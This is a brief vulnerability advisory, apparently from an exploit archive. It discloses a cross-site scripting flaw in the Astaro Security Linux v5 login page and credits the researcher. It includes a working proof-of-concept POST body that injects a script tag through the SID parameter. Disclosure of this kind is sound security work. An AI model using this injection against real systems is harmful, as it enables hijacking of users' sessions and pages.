Astaro Security Linux version 5 suffers from a cross site scripting vulnerability.
2261ead9e6b6144d6943b5c850cea15c286f0db6262083c728ec6f512148ee18
Program : Astaro Security Linux v5
PoC : XSS
Homepage : http://www.astaro.com/
Found by : Vincent Hautot
Contact : v.hautot () sysdream com
//----- Application description
Astaro Security Linux is a complete network security solution that
protects organizations against a wide range of threats to security
and productivity.
//----- Description of vulnerability
This Xss was found on index.fpl page in the login form. Usig this flaw
it is possible to execute Javascript code.
Posting using multipart/form-data does not work ; use this data instead:
username=my@fucking.mail&password=DTC&SID=>"><script>alert("XSS !!!")</script>
&cur_width=1&window_height=700&id=0121&jaction=none&frameset=active&new_id=0
//----- Credits
http://www.sysdream.com/article.php?story_id=326§ion_id=78